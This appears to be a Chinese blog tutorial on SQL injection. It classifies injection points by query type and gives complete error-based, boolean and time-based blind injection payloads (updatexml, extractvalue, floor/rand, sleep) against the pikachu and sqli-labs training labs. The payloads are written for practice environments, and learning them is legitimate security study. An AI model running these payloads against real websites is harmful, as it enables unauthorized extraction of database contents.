sql注入之查询方式及报错注入

当进行sql注入时,有很多注入会出无回显的情况,其中不回显的原因可能是sql语句查询方式的问题导致的,这个时候我们需要用到相关的报错或盲注进行后续操作,同时作为手工注入时,提前了解或预知器sqkl语句大概写法也能更好的选择对应的注入语句。

# SQL查询方式

我们可以通过以下查询方式与网站应用的关系,注入点产生的地方或应用猜测到对方的sql查询方式。

1.select查询语句

在网站应用中进行数据显示查询等操作

例如:

select * from news where id=$id

2.insert插入数据

在网站应用中进行用户注册、添加等操作

例如:

insert into news(iiiiiiiid,url,text) values(1,'xx','$t')

 pikachu靶场操作:

添加注册信息:

sql注入之查询方式及报错注入

 提交抓包:

sql注入之查询方式及报错注入

 构造pyload进行注入:

username=123' or(select 1 from(select count(*),concat((select (select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) or '&password=123&sex=%E7%94%B7&phonenum=12345678&email=sichan&add=chengdu&submit=submit

可爆出该网站的数据库名:

sql注入之查询方式及报错注入

或者:

username=123' or updatexml(1,concat(0x7e,(version())),0) or'&password=123&sex=%E7%94%B7&phonenum=12345678&email=sichan&add=chengdu&submit=submit

sql注入之查询方式及报错注入

 再或者:

username=123' or extractvalue(1,concat(0x7e,database())) or'&password=123&sex=%E7%94%B7&phonenum=12345678&email=sichan&add=chengdu&submit=submit

sql注入之查询方式及报错注入

3.delete删除数据

后台管理里面删除文章删除用户等操作

例如:

delece from news where id=$id

pikachu靶场操作:

sql注入之查询方式及报错注入

 抓包:

sql注入之查询方式及报错注入

 

 构造pyload:

/pikachu/vul/sqli/sqli_del.php?id=56+or+(select+1+from(select+count(*),concat(floor(rand(0)*2),0x7e,(database()),0x7e)x+from+information_schema.character_sets+group+by+x)a)

sql注入之查询方式及报错注入

 

 或者:

/pikachu/vul/sqli/sqli_del.php?id=56+or+updatexml+(1,concat(0x7e,database()),0)

sql注入之查询方式及报错注入

 

或者:

/pikachu/vul/sqli/sqli_del.php?id=56+or+extractvalue(1,concat(0x7e,database()))

sql注入之查询方式及报错注入

 

 

4.update更新数据

会员或后台中心数据同步或缓存等操作

例如:

update user set pwd='$id' where id=2 and username='admin'

pikachu靶场操作:

登录后修改个人信息,提交时抓包:

sql注入之查询方式及报错注入

 

 构造pyload:

sex=%E7%94%B7&phonenum=12345678&add=sichuan' or(select 1 from(select count(*),concat( floor(rand(0)*2),0x7e,(database()),0x7e)x from information_schema.character_sets group by x)a) or '&email=sss.com&submit=submit

sql注入之查询方式及报错注入

 

 或者:

sex=%E7%94%B7&phonenum=12345678&add=sichuan' or updatexml(1,concat(0x7e,(version())),0) or'&email=sss.com&submit=submit

sql注入之查询方式及报错注入

 

 或者:

sex=%E7%94%B7&phonenum=12345678&add=sichuan' or extractvalue(1,concat(0x7e,user())) or'&email=sss.com&submit=submit

sql注入之查询方式及报错注入

 

 5.order by排序语句

一般结合表格或列名进行数据排序操作

例如:

select * from news order by $id
select id,name,price from news orer by $order

#sql注入报错盲注

盲注就是在注入过程中,获取数据不能回显至前端页面。此时,我们需要 利用一些方法进行判断或者尝试,这个方法称之为盲注。

 

like 'ro%'                            #判断ro或ro·····是否成立
regexp '^xx[a-z]'               #匹配xx及xx····等
if(条件,5,0)                     #条件成立返回5,否则返回0
sleep(5)                             #SQL语句延时5秒后执行
mid(a,b,c)                          #从位置b开始,截取a字符串的c位
substr(a,b,c)                      #从b位置开始,截取字符串a的c长度
left(database(),1),database()    #left(a,b)从左侧截取a的前b位
length(database())=8         #判断数据库database()名的长度
ord=ascii ascii(x)=97          #判断x的ascii码是否等于97            

我们可以讲盲注分为以下三类:

1.基于布尔的sql盲注(逻辑判断)

regexp,like,ascii,ord,mid

sqlilabs靶场第5关演示

http://127.0.0.1/sqli-labs/Less-5/?id=1' and left(version(),1)=5 --+

猜测数据库版本的第一位为5,正确不报错

sql注入之查询方式及报错注入

2.基于时间的sql盲注(延时判断)

if,sleep

sqlilabs靶场第2关演示

http://127.0.0.1/sqli-labs/Less-2/?id=1 and sleep(if(database()='security',5,0)) --+

提交后5秒后返回:

sql注入之查询方式及报错注入

 

 

 猜测数据库名长度:

http://127.0.0.1/sqli-labs/Less-2/?id=1 and sleep(if(length(database())=8,5,0)) --+

sql注入之查询方式及报错注入

3.基于报错的sql盲注(报错回显)

floor,updatexml,extractvalue

演示见上面的pikachu靶场

上一篇:吴恩达机器学习编程作业无法提交


下一篇:Android热修复与插件化实践之路